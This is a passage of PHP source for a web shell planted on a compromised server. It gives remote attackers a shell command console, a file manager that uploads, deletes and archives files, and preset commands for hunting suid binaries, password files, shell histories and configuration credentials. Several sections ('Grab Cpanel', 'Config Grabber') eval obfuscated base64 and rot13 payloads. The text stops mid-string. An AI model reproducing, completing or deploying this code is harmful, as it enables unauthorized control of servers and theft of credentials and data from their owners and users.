-a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #0d0d0d;background-color:#0d0d0d;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t$hex = "tUrvYto4GP5eqf+DlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY+r/feJtA+NECpzvUCm8/fv368XA/Yj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3+Wf5PJ/wm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi+Xnx2YuwsBwHk+Uy/uwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD/hPYf+g3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG+0SY8g32C06UHwlLumo+PdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN+tpEJgeVgiLc+hcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m/NJA2szFLLQrNR0TUmB2n9/DHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa+ZCGAsb7m/zHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X/f5e4yULFyLwV/jjzdW55sQeBt7kU7K/xd5iJsUZ854Qv65uc/Wo6O5DeNkoRGbewb65vyeH2aX1h4+ivQaok8U1ZR8gG4HEYnVj2B3+GQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef+u2een7F31Gex+4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ/vxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S++y637VfzvFm/+IKQDpvchxymbpLFZ6PayLRM/t+Kpu4q/xCWzbDLM5uEKhSbeYCRvL1J55G/mZKf5/7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2+VW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS+20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6/ymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ+Rwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv+Q/6fmIfvVOeS/rXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K+y3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV/7zV3m/p+eQz2tNy0/rjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63/gE=";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$▟ = $path.$▟;\r\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($▟);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($▟);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($▟);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping ;D</h1><div class=content><br>";\r\n\t$hex = "tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NEaFrMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK+GQXPOkkkKRb4wyQc7g3DUOKisp2H7CR+jn+hGyV2UekE2yjY4v4HCyApkKbVZP27hClMgQu6CJih3bwycvwYByYZ+BzXkXKINcK8f2CxoLyHVSTLAstUPhShkTAVnJHAZkvnQcULshg46VZSatxaTZKMEdk9No4Qc6S7rYmwMgBF5f4V3j0Nr7bf4xu1Zhek5IXGg4KMgmqqXIylVJlVA8dPr+yr1LXWsoXVQBFylKLG1B61HHm6YEyyooc8lX58A2/7AAyTv/l5Jplp61aOAc5Zpu9bZK0k1sxzFekq4rnVKlqKuWayOL5pGpQa6Ngsd17i6RNdGnp5f9+pktWqL5S6+bQZoF+BJXpoqAXCVFlMEIm4TD6A2t8mPk04H5ngx7yh3nJdPir5z/VfTLf3S67e5aYhkqgxKKNM6EpmSkSZpws5KEZb2KsGSTcqpmZUNSQXip4yad6WF5aeMYcphExRjcDkcseJVCZLPAqbD6YNP5B/Gm/QfgXedQEIIDcJm+UNZZgJAvClGpoMUCk6yrGVx/zfZIH86DNZ4J+8R7lKyl247HNF+f4ItgyGb3xNuG36Hv53F17+ckfx6WaTQeKatDvlChnXgjJ13GimgyPspXWK64h2C2O1X8WLTR3pyYwshvEHSOYBwa/H6qx+eShsjG99KR2Phbox4vg43tYblb9Yvjo+nebVDEzrW9NUpmMX9Ghja8z5EomM0B2h52U4WswJ5B9NSGYpqpWUP2hBsobFa5Sz8ZgZxWZ3t/Zmp/MycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ";\r\n\teval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9wSHAgJGhleCA9ICI3Wng2WXRzNEVvQS94MEQrQTByd3dXbVRTMWEzaXg3YU9Oc2tkQ2VidTJaY3Q4bDZSV29OUkNkWFpIeTBVZHZhVllYLyt3MVN5WmFkRjZrN0JPNE91QUJrOWNKc09Cd09kQ2pWa3craEZRNlpZK3UxSUhGcHhNZFE0VGpVYnJWZHN0OXJ2MTNaMnRvS3Ayam1PaTZONkZVNGFPWmE0S3grYldnNlBPbEFvMTN5Y0tOT1RTMXZqRS9MZFh6YnJnaC9RVmJ0a1BsQmRidFVQQktPV3pjdVR5dWdJMU9ZWSs2RVVDenFFdWJaTm1oY0VSaU5VRE42WFlNdXhYM293ajhMNkJ5NnJnNUNRanAwaldLcjR5ODFuMDNUWTBuN0tydXRzV1I4TjZmTWNyVUcrU1lWL2hBL0JLRkdOK2JpZnJpOGRvQ3FZdCsrZWlSOFJEY2lpK3d4YjVLMVU2WlFxWGpJTnRXNXkzMWZNTll5UVhrM3BCWWoxMGtBa294OG9oRkxvak9PWWsvcmdYcEtQb2FPOEYzcWpKTUdFdGljdS9GcHBSc0VkSEJiRUVyY3V5WkxOclJWMDU3YkpMbG14YTBBRExOc1pydlM0V0hJcG5EU3RjWUc2UEZ1R2xOdmRYdnVFTWJzQ3N0eUcrTXltNW1teHU1RmRqVmtTT0g2VUpzek5ncE5tZVhVZHUwck5DRHdvejd6RGNXOUhkRUFERFN3QUxpNklaRkc2Z2p1eit1NXk0UXpSVnBiZ1BIaE1NOXJCNGlWYTlXRHlTZXRwTTJYbjZRSzFkOVNQS0VCZGhIYkViT2hJOEFTdnFqWHpJRnN4NTJCT1JxTjRDZ1o1OEEwd1NWNDhKdGdKQytja20waUYyWVh0S3FsTGMyd3RxdmFKTTY0bW5tam1WeGhHdWJjYU8yQStzd2MyWHZLbDVLWlREY3NORXJxTlkyOUMrb0UwQlZ3V3ZkZU9jakxYQVgxSEM1ZHA0RDlEMWZqaUg4WDJIeWdsbXRnYmdINWhqN1FTd1J1VERqTXJ4ZWJwUXdDYWk4dldHOU02QXB6Qm0vS3ZjZzFJZGE0b1RWd0JSMThaenliVk45MGxTVTZ0UHdDL0NsWnBzczdabmVYN0lMYnRnbGhZbFBVQjdYdTQrZ0YrQzJmd1ZlbGNzbE9IRTNsckg1dkM2dkhIYmU4emtUb0p6NlltU2pnTHA5akpnbzY2bFJFeUNJK1ZqdUNPTEZMTE9TS2V6WUVWQkFNU0FEZUNMK3FiaTc4ZmxWYjF3M1QyRjFpOVQ4VmYwYVZuNDYvTHhqcnpm